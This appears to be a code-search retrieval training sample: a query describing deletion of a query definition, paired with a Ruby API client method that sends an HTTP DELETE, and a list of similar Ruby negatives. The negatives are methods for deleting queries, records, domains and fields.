query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Registers new query definition in the system with given queryName
|
def create_query_definition_with_http_info(query_name, body, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: CustomQueriesBPMApi.create_query_definition ..."
end
# verify the required parameter 'query_name' is set
if @api_client.config.client_side_validation && query_name.nil?
fail ArgumentError, "Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition"
end
# verify the required parameter 'body' is set
if @api_client.config.client_side_validation && body.nil?
fail ArgumentError, "Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition"
end
# resource path
local_var_path = "/server/queries/definitions/{queryName}".sub('{' + 'queryName' + '}', query_name.to_s)
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(body)
auth_names = []
data, status_code, headers = @api_client.call_api(:POST, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'QueryDefinition')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: CustomQueriesBPMApi#create_query_definition\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def add_query(query)\n add_actions \"AddQuery(#{query})\"\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def query=(newquery)\n delete_elements(newquery.name)\n add(newquery)\n end",
"def create_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = create_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def add_queries\n add_general_query\n add_title_query\n add_creators_query\n add_series_query\n add_collected_query\n add_tag_name_query\n end",
"def add_query_to_table\n @query = Search.create(:search => \"#{@search}\", :count => @count.to_i)\n end",
"def replace_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.replace_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#replace_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def replace_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = replace_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def register(name)\n Schemas.register(name, self)\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def query_def; query.name; end",
"def execute(query, name = 'ANSR-NOSQL')\n end",
"def register\n self.class.definitions[name] = self\n self\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def user_created_query _user, query\n the_case = query.case\n\n data = {\n category: 'Queries',\n action: 'Created a Query',\n label: query.query_text,\n value: the_case.queries.count,\n bounce: false,\n }\n\n create_event data\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def query(query_definition)\n return\n end",
"def add_graph(query, graph_name)\n graph_uri = \"<#{graph_name}>\"\n query.gsub(/\\?validatedGraph/i, graph_uri)\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def update_query(project_id, query_id, opts = {})\n put \"projects/#{project_id}/queries/#{query_id}\", opts\n end",
"def expand_named_query(what)\n url = @api_url.clone\n url.path = '/buglist.cgi'\n url.query = \"cmdtype=runnamed&namedcmd=#{URI.escape(what)}&ctype=atom\"\n logger.info(\"Expanding named query: '#{what}' to #{url.request_uri}\")\n fetch_named_query_url(url, 5)\n end",
"def related(query)\n @query[:Query] << query\n self\n end",
"def add_query(conn, query, query_num, opts = [])\n end",
"def add_select_into_table(new_table_name, sql_query)\n \"CREATE TABLE #{new_table_name} \" + sql_query\n end",
"def set_query\n\t\t@query = Query.find(params[:id])\n\tend",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def query_params\n params.require(:query).permit(:name, :query)\n end",
"def query_params\n params.require(:query).permit(:name, :query_string)\n end",
"def event(query_name)\n @client.call(:event, query_name)\n end",
"def query_def; mrna.definition; end",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def define(name)\n current << name\n end",
"def add_select_into_table(new_table_name, sql_query)\n \"CREATE TABLE #{new_table_name} \" + sql_query\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def add_graph(query_template)\n query_template.gsub(/\\?graph/i, \"<#{@named_graph}>\")\n end",
"def set_query_type\n @query_type = QueryType.find(params[:id])\n end",
"def query(query:)\n path = '/graphql'\n\n if query.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"query\"')\n end\n\n params = {\n query: query,\n }\n \n headers = {\n \"x-sdk-graphql\": 'true',\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'POST',\n path: path,\n headers: headers,\n params: params,\n )\n end",
"def setQuery(query) \n\t\tself.queryString = query\n end",
"def create_query(project_id, opts = {})\n post \"projects/#{project_id}/queries\", opts\n end",
"def create_search_schema(name, content)\n @data[:search_schemas][name] = {:name => name, :content => content}\n true\n end",
"def AddQuery(query, index = '*', comment = '')\n # build request\n \n # mode and limits\n request = Request.new\n request.put_int @offset, @limit, @mode, @ranker\n # process the 'expr' ranker\n if @ranker == SPH_RANK_EXPR\n request.put_string @rankexpr\n end\n\n request.put_int @sort\n\n request.put_string @sortby\n # query itself\n request.put_string query\n # weights\n request.put_int_array @weights\n # indexes\n request.put_string index\n # id64 range marker\n request.put_int 1\n # id64 range\n request.put_int64 @min_id.to_i, @max_id.to_i \n \n # filters\n request.put_int @filters.length\n @filters.each do |filter|\n request.put_string filter['attr']\n request.put_int filter['type']\n\n case filter['type']\n when SPH_FILTER_VALUES\n request.put_int64_array filter['values']\n when SPH_FILTER_RANGE\n request.put_int64 filter['min'], filter['max']\n when SPH_FILTER_FLOATRANGE\n request.put_float filter['min'], filter['max']\n else\n raise SphinxInternalError, 'Internal error: unhandled filter type'\n end\n request.put_int filter['exclude'] ? 1 : 0\n end\n \n # group-by clause, max-matches count, group-sort clause, cutoff count\n request.put_int @groupfunc\n request.put_string @groupby\n request.put_int @maxmatches\n request.put_string @groupsort\n request.put_int @cutoff, @retrycount, @retrydelay\n request.put_string @groupdistinct\n \n # anchor point\n if @anchor.empty?\n request.put_int 0\n else\n request.put_int 1\n request.put_string @anchor['attrlat'], @anchor['attrlong']\n request.put_float @anchor['lat'], @anchor['long']\n end\n \n # per-index weights\n request.put_int @indexweights.length\n @indexweights.each do |idx, weight|\n request.put_string idx\n request.put_int weight\n end\n \n # max query time\n request.put_int @maxquerytime\n \n # per-field weights\n request.put_int @fieldweights.length\n @fieldweights.each do |field, weight|\n request.put_string field\n request.put_int weight\n end\n \n # comment\n request.put_string comment\n \n # attribute overrides\n request.put_int @overrides.length\n for entry in @overrides do\n request.put_string entry['attr']\n request.put_int entry['type'], entry['values'].size\n entry['values'].each do |id, val|\n assert { id.instance_of?(Fixnum) || id.instance_of?(Bignum) }\n assert { val.instance_of?(Fixnum) || val.instance_of?(Bignum) || val.instance_of?(Float) }\n \n request.put_int64 id\n case entry['type']\n when SPH_ATTR_FLOAT\n request.put_float val\n when SPH_ATTR_BIGINT\n request.put_int64 val\n else\n request.put_int val\n end\n end\n end\n \n # select-list\n request.put_string @select\n \n # store request to requests array\n @reqs << request.to_s;\n return @reqs.length - 1\n end",
"def copy(query)\n queries << query\n end",
"def see(query_name)\n @client.call(:see, query_name)\n end",
"def launch_query_command(query:)\n @db.query(query, as: :hash)\n end",
"def current_query=(query)\n @current_query = session[:advanced_query] = query\n end",
"def saved_query_params\n params.require(:saved_query).permit(:name, :description, :sql)\n end",
"def save_title_query\n @query = TitleQuery.new(user_id: current_user.try(:id), query: params[:term])\n @query.save\n end",
"def create\n @query = current_user.queries.new(params[:query])\n\n respond_to do |format|\n if @query.save\n format.html { redirect_to @query, notice: 'Query was successfully created.' }\n format.json { render json: @query, status: :created, location: @query }\n else\n format.html { render action: \"new\" }\n format.json { render json: @query.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initial_query; end",
"def update_facebook_query project_id, query_id, opts={}\n put \"projects/#{project_id}/facebookqueries/#{query_id}\", opts\n end",
"def add_general_query\n fields = [\n \"creators.name^5\",\n \"title^7\",\n \"endnotes\",\n \"notes\",\n \"summary\",\n \"tags.name\",\n \"series.title\"\n ]\n query_string = options[:q]\n return if query_string.blank?\n body.must(\n :query_string,\n fields: fields,\n query: query_string\n )\n end",
"def containing(query)\n @query[:Query] << query\n self\n end",
"def register(name)\n Assertion.register_macro name, self\n end",
"def addNamedGraph(uri) \n\t\t\n\t\tif uri \n\t\t\tself._querytext.push([\"named-graph-uri\",uri])\n\t end\n\tend",
"def definition(name)\n @pdef_registry[name.to_sym]\n end",
"def query=(query)\n if query.nil?\n fail ArgumentError, 'invalid value for \"query\", query cannot be nil.'\n end\n @query = query\n end",
"def query=(query)\n if query.nil?\n fail ArgumentError, 'invalid value for \"query\", query cannot be nil.'\n end\n @query = query\n end",
"def initialize(name, conn)\n @name = name.to_sym\n @conn = conn\n @builder = QueryBuilder.new(name)\n end",
"def create_view table_id, query, name: nil, description: nil\n options = { query: query, name: name, description: description }\n insert_table table_id, options\n end",
"def create\n @query = Query.new(query_params)\n\n respond_to do |format|\n if @query.save\n format.html { redirect_to @query, notice: 'Query was successfully created.' }\n format.json { render :show, status: :created, location: @query }\n else\n format.html { render :new }\n format.json { render json: @query.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @query = Query.new(query_params)\n\n respond_to do |format|\n if @query.save\n format.html { redirect_to @query, notice: 'Query was successfully created.' }\n format.json { render :show, status: :created, location: @query }\n else\n format.html { render :new }\n format.json { render json: @query.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @query = Query.new(query_params)\n\n respond_to do |format|\n if @query.save\n format.html { redirect_to @query, notice: 'Query was successfully created.' }\n format.json { render :show, status: :created, location: @query }\n else\n format.html { render :new }\n format.json { render json: @query.errors, status: :unprocessable_entity }\n end\n end\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def create\n @query = Query.new(params[:query])\n\n respond_to do |format|\n if @query.save\n run_query\n @results = @query.results\n \n flash[:notice] = 'Query was successfully created.'\n format.html { redirect_to(@query) }\n format.xml { render :xml => @query, :status => :created, :location => @query }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @query.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def register(name, klass)\n Registry.instance.register(name, klass)\n end",
"def definition(definition_name)\n @definition_name = definition_name\n end",
"def create\n @dev_math_query = DevMathQuery.new(params[:dev_math_query])\n\n respond_to do |format|\n if @dev_math_query.save\n format.html { redirect_to @dev_math_query, notice: 'Dev math query was successfully created.' }\n format.json { render json: @dev_math_query, status: :created, location: @dev_math_query }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dev_math_query.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7617805",
"0.7024626",
"0.6597297",
"0.64331007",
"0.60825783",
"0.6056614",
"0.60446227",
"0.6004409",
"0.5963793",
"0.58811414",
"0.58786076",
"0.57812816",
"0.57775253",
"0.57586247",
"0.5732265",
"0.5686912",
"0.56587934",
"0.55832976",
"0.5568638",
"0.55257726",
"0.55257726",
"0.55257726",
"0.55257726",
"0.55257726",
"0.5518795",
"0.55115443",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.5509194",
"0.55053353",
"0.546468",
"0.5448045",
"0.5448045",
"0.5448045",
"0.54247427",
"0.53622305",
"0.5324556",
"0.5323986",
"0.52979165",
"0.5242622",
"0.5240155",
"0.5240155",
"0.5240155",
"0.5240155",
"0.5240155",
"0.5240155",
"0.52314055",
"0.52282375",
"0.5197514",
"0.5188875",
"0.5179331",
"0.5171121",
"0.5169335",
"0.51653755",
"0.51653755",
"0.51653755",
"0.51559675",
"0.51522505",
"0.5147399",
"0.513182",
"0.5126973",
"0.51055133",
"0.5100795",
"0.5083027",
"0.50816387",
"0.5068033",
"0.5066381",
"0.5064592",
"0.50614506",
"0.50603",
"0.50285494",
"0.50217247",
"0.5020254",
"0.5013529",
"0.5012244",
"0.50109154",
"0.4991763",
"0.49829474",
"0.49829474",
"0.4980423",
"0.49772817",
"0.49721184",
"0.49721184",
"0.4971363",
"0.49549147",
"0.49538916",
"0.49424744",
"0.4928371",
"0.49125057"
] |
0.5288041
|
50
|
Deletes existing query definition from the system with given queryName
|
def drop_query_definition(query_name, opts = {})
drop_query_definition_with_http_info(query_name, opts)
return nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_query(project_id, query_id)\n delete \"projects/#{project_id}/queries/#{query_id}\"\n end",
"def delete_percolator_query(query_name)\n server.request(:delete, percolator_query_path(query_name))\n end",
"def delete_query(query)\n do_delete_query(query)\n end",
"def remove_query(query_id)\n add_actions \"removequery(#{query_id})\"\n end",
"def delete_query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.delete({params: query_params })\n self\n end",
"def delete(sql, name = nil)\n delete_sql(sql, name)\n end",
"def drop_query_definition_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.drop_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.drop_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#drop_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def delete_sql(sql, name = nil)\n update_sql(sql, name)\n end",
"def delete_by_query(query)\n rsp = post(\"<delete><query>#{query}</query></delete>\")\n success?(rsp.body) or log_error(rsp.body)\n end",
"def delete(sql, name = nil) end",
"def delete_query(query, params = {})\n do_delete_query(query, params)\n end",
"def delete(query)\n adapter.delete(query)\n end",
"def delete_by_query index, query, conflicts_proceed\n conflicts = conflicts_proceed ? 'conflicts=proceed' : ''\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/_delete_by_query?#{conflicts}\")\n\n req = Net::HTTP::Post.new(uri)\n req.body = query.to_json\n run(uri, req)\n end",
"def destroy\n @query = Query.find(params[:id])\n @query.destroy\n \n respond_to do |format|\n format.html { redirect_to(queries_url) }\n format.xml { head :ok }\n end\n end",
"def delete_by_query query, opts = {}\n update opts.merge(:data => xml.delete_by_query(query))\n end",
"def delete_query_group(project_id, query_group_id)\n delete \"projects/#{project_id}/querygroups/#{query_group_id}\"\n end",
"def destroy\n @dev_math_query = DevMathQuery.find(params[:id])\n @dev_math_query.destroy\n\n respond_to do |format|\n format.html { redirect_to dev_math_queries_url }\n format.json { head :ok }\n end\n end",
"def delete(q)\n connection.delete_by_query(q)\n connection.commit if commit_after_change\n end",
"def delete_domain!(name)\n sdb_query({:Action => 'DeleteDomain', 'DomainName' => name})\n end",
"def destroy\n\t\t@query.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def delete_sql(sql, name = nil)\n result = execute(sql, name)\n result.cmd_tuples\n end",
"def delete_sql(sql, name = nil)\n result = execute(sql, name)\n result.cmd_tuples\n end",
"def destroy\n @query = Query.find(params[:id])\n @query.destroy\n\n respond_to do |format|\n format.html { redirect_to(queries_url) }\n format.xml { head :ok }\n end\n end",
"def exec_delete(sql, name = nil, binds = []) #:nodoc:\r\n log(sql, \"delete\", binds) { query(sql, binds) }\r\n end",
"def query_unset(name)\n query_set name, nil\n end",
"def exec_delete(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def exec_delete(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def delete_statement(query)\n conditions_statement, bind_values = conditions_statement(query.conditions)\n\n statement = \"DELETE FROM #{quote_name(query.model.storage_name(name))}\"\n statement << \" WHERE #{conditions_statement}\" unless conditions_statement.blank?\n\n return statement, bind_values\n end",
"def destroy\n @saved_query.destroy\n respond_to do |format|\n format.html { redirect_to saved_queries_url }\n format.json { head :no_content }\n end\n end",
"def delete(name); end",
"def delete(name); end",
"def destroy\n @sql_query.destroy\n respond_to do |format|\n format.html { redirect_to sql_queries_url, notice: 'Sql query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(name)\n @driver.deleteRule([name])\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def clear_queries\n add_actions 'ClearQueries()'\n end",
"def delete(name)\n name = Field.name_canonicalize(name.to_str)\n delete_if { |n, v|\n n.downcase == name\n }\n self\n end",
"def delete(name)\n fields.delete(name.to_sym)\n end",
"def replace_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = replace_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def delete_by_query!(query, params = nil, request_options = {})\n res = delete_by_query(query, params, request_options)\n wait_task(res['taskID'], WAIT_TASK_DEFAULT_TIME_BEFORE_RETRY, request_options) if res\n res\n end",
"def destroy\n @query = current_user.queries.find(params[:id])\n @query.destroy\n\n respond_to do |format|\n format.html { redirect_to queries_url }\n format.json { head :no_content }\n end\n end",
"def user_deleted_query _user, query\n data = {\n category: 'Queries',\n action: 'Deleted a Query',\n label: query.query_text,\n value: nil,\n bounce: false,\n }\n\n create_event data\n end",
"def delete(name)\n fail AliasNotFoundException, \"No alias with name #{name} exists\" unless @redis.hexists(STORE_KEY, name)\n\n command = @redis.hget(STORE_KEY, name)\n @redis.hdel(STORE_KEY, name)\n AliasedCommand.new(name, command).freeze\n end",
"def delete(name = nil)\n if name\n store.delete_value(field_key(name.to_s))\n else\n self.class.fields.each do |field|\n store.delete_value(field_key(field[:name]))\n end\n end\n end",
"def destroy\n @sync_query = SyncQuery.find(params[:id])\n @sync_query.destroy\n \n respond_to do |format|\n format.html { redirect_to sync_queries_url }\n format.json { head :no_content }\n end\n end",
"def delete_datastore_form_attribute_definition(name, headers=default_headers)\n @logger.info(\"Deleting the \\\"#{name}\\\" Datastore Form Attribute Definition\")\n delete(\"#{@api_url}/datastoreFormAttributeDefinitions/#{encode(name)}\", headers)\n end",
"def delete_route(resource_name)\n desc \"Deletes an existing #{resource_name}\"\n params do\n requires :query_parameter_id, type: String, desc: \"The id of the #{resource_name}\"\n end\n delete ':query_parameter_id' do\n delete_instance(find_instance(params[:query_parameter_id]))\n body false\n end\n end",
"def destroy\n @query = CannedQuery.find(params[:id])\n @query.destroy\n\n respond_to do |format|\n format.html { redirect_to(idea_url(@idea)) }\n format.xml { head :ok }\n end\n end",
"def exec_delete(sql, name, binds)\n execute(sql, name, binds)\n end",
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def delete_by_query(queries)\n queries = [queries] unless queries.is_a?(Array)\n build do |xml|\n xml.delete do |delete_node|\n queries.each { |query| delete_node.query query }\n end\n end\n end",
"def delete_space_attribute_definition(name, headers=default_headers)\n @logger.info(\"Deleting the \\\"#{name}\\\" Space Attribute Definition\")\n delete(\"#{@api_url}/spaceAttributeDefinitions/#{encode(name)}\", headers)\n end",
"def delete(name)\n\n end",
"def del(name)\n data.delete(name)\n end",
"def destroy\n @query.destroy\n respond_to do |format|\n format.html { redirect_to queries_url, notice: 'Consulta deletada com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def delete(query)\n @index.query(Query.new(string: query)).each do |state|\n @index.on_state_change(\n state,\n State.new(\n host: state.host,\n service: state.service,\n state: 'unknown',\n description: \"ustate has not heard from this service since #{Time.at(state.time)}\",\n time: Time.now.to_i\n )\n )\n @index.delete state\n end\n end",
"def delete(name = nil)\n if name\n redis.del field_key(name.to_s)\n else\n self.class.fields.each do |field|\n redis.del field_key(field[:name])\n end\n redis.srem \"sequence:#{prefix}:all\", self.id\n end\n end",
"def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end",
"def delete_by_name(org_key, name)\n HttpClient::Preconditions.assert_class('org_key', org_key, String)\n HttpClient::Preconditions.assert_class('name', name, String)\n @client.request(\"/domains/#{CGI.escape(org_key)}/#{CGI.escape(name)}\").delete\n nil\n end",
"def delete_search_index(name)\n @data[:search_indexes].delete(name)\n true\n end",
"def delete_field(name)\n @__table__ ||= {}\n @__table__.delete name.to_sym\n end",
"def delete(name, _options = {})\n exec(\"delete\", c: name, p: port)\n end",
"def delete(name)\n @ctx.delete(@path + name)\n end",
"def delete(name)\n name = name.to_sym\n if @values.key? name\n delete_name name\n @values.delete name\n end\n end",
"def clear_graph(graphname)\n update(\"WITH <#{graphname}> DELETE { ?s ?p ?o } WHERE { ?s ?p ?o .}\")\nend",
"def delete_by_query(queries)\n { delete: { query: queries } }.to_json\n end",
"def delete_sql(sql, name = nil) #:nodoc:\r\n execute( sql, name )\r\n return @affected_rows\r\n end",
"def delete(id, query_term)\n @conn.exec(\"DELETE FROM products WHERE id = '#{id}';\")\n puts \"DELETE\"\nend",
"def delete_macro(name, macro_name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n raise('wrong type: String required') unless macro_name.is_a?(String)\n raise('wrong value: nmacro_name must be valid') unless !macro_name.nil? && !macro_name.empty?\n @client.post({\n 'action' => 'delmacro',\n 'object' => 'htpl',\n 'values' => '%s;%s' % [name, macro_name],\n }.to_json)\n end",
"def retract_definition(*args)\n unless(args.length == 3 && !args.first.is_a?(Array))\n args = args.inject([]) {|a,i| a += i }\n end\n\n args = parse_schema_axioms(args)\n\n triples = QL.to_turtle(args, true)\n GRel::Debugger.debug \"REMOVING FROM SCHEMA #{@schema_graph}\"\n GRel::Debugger.debug triples\n GRel::Debugger.debug \"IN\"\n GRel::Debugger.debug @db_name\n @connection.remove(@db_name, triples, @schema_graph, \"text/turtle\")\n self\n end",
"def delete(query)\n\n connect if @persevere.nil?\n\n deleted = 0\n\n if ! query.is_a?(DataMapper::Query)\n resources = [query].flatten\n else\n resources = read_many(query)\n end\n\n resources.each do |resource|\n tblname = resource.model.storage_name\n id = resource.attributes(:field)['id']\n \n # Retrieve the ID from persever if the resource doesn't have an ID field\n if id.nil?\n query = Persevere.enhance(resource.query)\n path = \"/#{tblname}/#{query.to_json_query_filter}[={'id':id}]\"\n response = @persevere.retrieve(path, {})\n id = JSON.parse(response.body)[0]['id'].match(/(\\w+\\/)*(\\d+)/)[2]\n end\n \n path = \"/#{tblname}/#{id}\"\n # path = \"/#{tblname}/#{resource.key.first}\"\n \n DataMapper.logger.debug(\"(Delete) PATH/QUERY: #{path}\")\n\n result = @persevere.delete(path)\n\n if result.code == \"204\" # ok\n deleted += 1\n end\n end\n return deleted\n end",
"def destroy\n @search_query.destroy\n respond_to do |format|\n format.html { redirect_to search_queries_url, notice: 'Search query was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, query={})\n request.delete(path, query_options(query))\n end",
"def delete\n ensure_service!\n service.delete_schema name\n true\n end",
"def destroy\n @mlp_query = MlpQuery.find(params[:id])\n @mlp_query.destroy\n\n respond_to do |format|\n format.html { redirect_to mlp_queries_url } # rake routes indicates mlp_queries => mlp_queries#index\n format.json { head :no_content }\n end\n end",
"def destroy()\n urn_check()\n @sparql.delete([ @urn, :p, :o ])\n @sparql.delete([ :s, :p, @urn ])\n end",
"def delete(name)\n connect { |connection| connection.delete dn(name) }\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def delete(name)\n delete = get(name)\n @filters = @filters - delete\n end",
"def destroy\n # Delete all associated aliases first\n MysqlAdapter.delete \"DELETE FROM #{Alias.table_name} WHERE domain = '#{name}'\"\n\n # Delete all associated mailboxes first\n MysqlAdapter.delete \"DELETE FROM #{Mailbox.table_name} WHERE domain = '#{name}'\"\n\n super\n rescue Mysql::Error\n false\n end",
"def execute(name)\n if !document.new_record?\n collection.find(document.atomic_selector).update(operation(name))\n document.remove_change(field)\n end\n end",
"def del(*keys)\n keys.each do |key|\n @queries.delete(key)\n end\n\n self\n end",
"def delete_field(name)\n sym = name.to_sym\n begin\n singleton_class.__send__(:remove_method, sym, \"#{sym}=\")\n rescue NameError\n end\n @table.delete(sym) do\n raise NameError.new(\"no field `#{sym}' in #{self}\", sym)\n end\n end",
